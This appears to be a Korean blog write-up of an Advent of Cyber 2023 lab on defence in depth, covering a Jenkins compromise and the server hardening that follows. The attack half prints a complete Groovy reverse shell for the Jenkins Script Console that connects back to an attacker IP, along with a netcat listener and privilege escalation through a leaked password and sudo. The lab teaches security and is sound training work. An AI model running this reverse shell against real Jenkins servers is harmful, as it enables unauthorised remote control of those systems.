선릉역 1번 출구

[adventofcyber2023] - Day_12_Defence in depth Sleighing Threats, One Layer at a Time 본문

Project/Program

[adventofcyber2023] - Day_12_Defence in depth Sleighing Threats, One Layer at a Time

choideu 2023. 12. 14. 20:50

Story: 합병으로 인해 회사의 서버와 엔드포인트는 모든 공격자에게 취약한 상태가 되었음. McHoneyBell은 지하실의 물리적 서버부터 클라우드까지 모든 계층을 강화하려고 계획함. Defence in depth가 환경의 전반적인 보안 태세를 강화하는 데 도움이 될까?

 

목표: defence in depth, 기본 엔드포인트 강화, 간단한 Boot2Root 방법론

 

1. Jenkins 접속

 

2. 웹 쉘 얻기

- manage Jenkins > Tools and Actions > Script Console 클릭

 

- Scirpt Console은 Java 플랫폼용 프로그래밍 언어의 일종인 Groovy를 허용하는 기능임

- 이 기능을 사용하여 리버스 쉘을 설정할 예정

1) 아래 스크립트 복사하여 스크립트 콘솔에 붙여넣기

String host="10.10.0.55";
int port=6996;
String cmd="/bin/bash";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();
Socket s=new Socket(host,port);
InputStream pi=p.getInputStream(), pe=p.getErrorStream(), si=s.getInputStream();
OutputStream po=p.getOutputStream(), so=s.getOutputStream();
while(!s.isClosed()){
  while(pi.available()>0)so.write(pi.read());
  while(pe.available()>0)so.write(pe.read());
  while(si.available()>0)po.write(si.read());
  so.flush();
  po.flush();
  Thread.sleep(50);
  try{
    p.exitValue();
    break;
  }catch (Exception e){}
};
p.destroy();
s.close();

 

2) 공격자 PC에서 nc 명령어

*nc

nc -nvlp는 Linux/Unix 환경에서 사용되는 Netcat 명령어의 일부로, 네트워크 통신을 위한 간단한 도구로 사용됨. 

  • nc: Netcat을 실행하는 명령어입니다.
  • -n: DNS 이름 해석을 비활성화합니다. IP 주소를 사용하여 연결합니다.
  • -v: 상세한 출력을 표시합니다. (verbose 모드)
  • -l: 대기 모드로 동작합니다. 연결을 수락하고 데이터를 전송합니다.
  • -p: 로컬 포트를 지정합니다.

따라서 nc -nvlp는 Netcat을 사용하여 상세한 출력으로 로컬에서 대기하면서 네트워크 연결을 수락하고, 연결이 수립되면 데이터를 주고받을 수 있도록 설정함

포트는 추가적인 매개변수로 지정되어야 하며, 이 명령을 실행하면 해당 포트에서 연결을 기다리게 됨

 

3. Tracy 사용자 및 Root 가져오기

1) nc접속 후 /opt/scripts 확인

*/opt = Optional App

backup.sh는 backup 폴더를 만들고 해당 내용을 tracy의 backup 폴더로 이동시키는 스크립트임

리버스 쉘에서 입력
backup.sh 내용 中 일부

sshpass -p "$password" scp localfile.txt username@remote-server:/path/to/destination/
//이 명령은 localfile.txt 파일을 username 사용자로 로그인한 다음 remote-server로 전송하며, 비밀번호는 "$password" 에 지정된 값으로 제공

 

2) tracy의 계정으로 로그인

 

3) tracy의 계정으로 사용할 수 있는 명령어 확인

sudo -l //현재 사용자가 sudo를 통해 실행할 수 있는 명령어 나열

- (ALL : ALL) ALL : sudo를 사용해 tracy가 모든 명령을 수행할 수 잇음을 나타냄

- sudo su 명령을 사용해 root 권한으로 상승

 

4. Defence in depth

- 공격의 관점에서 서버에 대한 루트 액세스 획득 > 수비의 관점에서 이제 공격자가 원하는 것을 최대한 어렵게 만들어 보기

 

5. Guided Hardening of the Server

1) sudo 그룹에서 tracy 제거

1-1) sudo 그룹으로부터 tracy 제거

1-2) user의 권한 확인

 

2) SSH 접속 강화

- /etc/ssh/sshd_config 파일에서 #PasswordAuthentication yes를 PasswordAuthentication no로 변경하고, #Include /etc/ssh/sshd_config.d/*.conf를 Include /etc/ssh/sshd_config.d/*.conf로 변경

#PasswordAuthentication yes > PasswordAuthentication no
#Include /etc/ssh/sshd_config.d/*.conf > Include /etc/ssh/sshd_config.d/*.conf

 

3) 비밀번호 정책 강화

- 비밀번호가 취약해 무차별 공격에 취약할 수 있음

- 사용자는 잘못된 비밀번호 사용으로 스크립트에 일반 텍스트 자격 증명을 입력하고 서버 액세스 권한이 있는 모든 사람이 볼 수 있도록 나멱둠

- 강력한 비밀번호 정책 적용하기

 

4) Promoting Zero-Trust 

- cd /var/lib/jenkins : 젠킨스의 홈디렉토리로 이동

- config.xml.bak : 젠킨스의 백업 구성 파일에서 특정 부분 주석 제거

--- Redacted ---
  <!--authorizationStrategy class="hudson.security.FullControlOnceLoggedInAuthorizationStrategy">   
    <denyAnonymousReadAccess>true</denyAnonymousReadAccess>
  </authorizationStrategy-->
  <!--securityRealm class="hudson.security.HudsonPrivateSecurityRealm">  
    <disableSignup>true</disableSignup>
    <enableCaptcha>false</enableCaptcha>
  </securityRealm-->
--- Redacted ---
  • authorizationStrategy
    • Jenkins의 인가 전략(authorization strategy) 설정
    • hudson.security.FullControlOnceLoggedInAuthorizationStrategy은 로그인 한 사용자에 대해 전체 제어를 허용하되, 익명 사용자에 대해 읽기 액세스를 거부하는 전략을 사용하겠다는 것을 나타냄
    • denyAnonymousReadAccess 요소는 익명 사용자에 대한 읽기 액세스 거부 여부를 설정
  • securityRealm
    • Jenkins의 보안 영역(security realm) 설정
    • hudson.security.HudsonPrivateSecurityRealm은 Jenkins 자체의 사용자 데이터베이스를 사용하여 사용자를 관리하겠다는 것을 나타냄
    • disableSignup은 사용자의 직접 가입을 비활성화할 것인지 여부를 나타내며, enableCaptcha는 자동화 방지를 위한 CAPTCHA(Completely Automated Public Turing test to tell Computers and Humans Apart) 기능을 활성화할 것인지 여부를 나타냄

 

 

 

+ Challenge

1) root flag

 

2) sudo 그룹에서 제거

 

3) ssh flag

 

Comments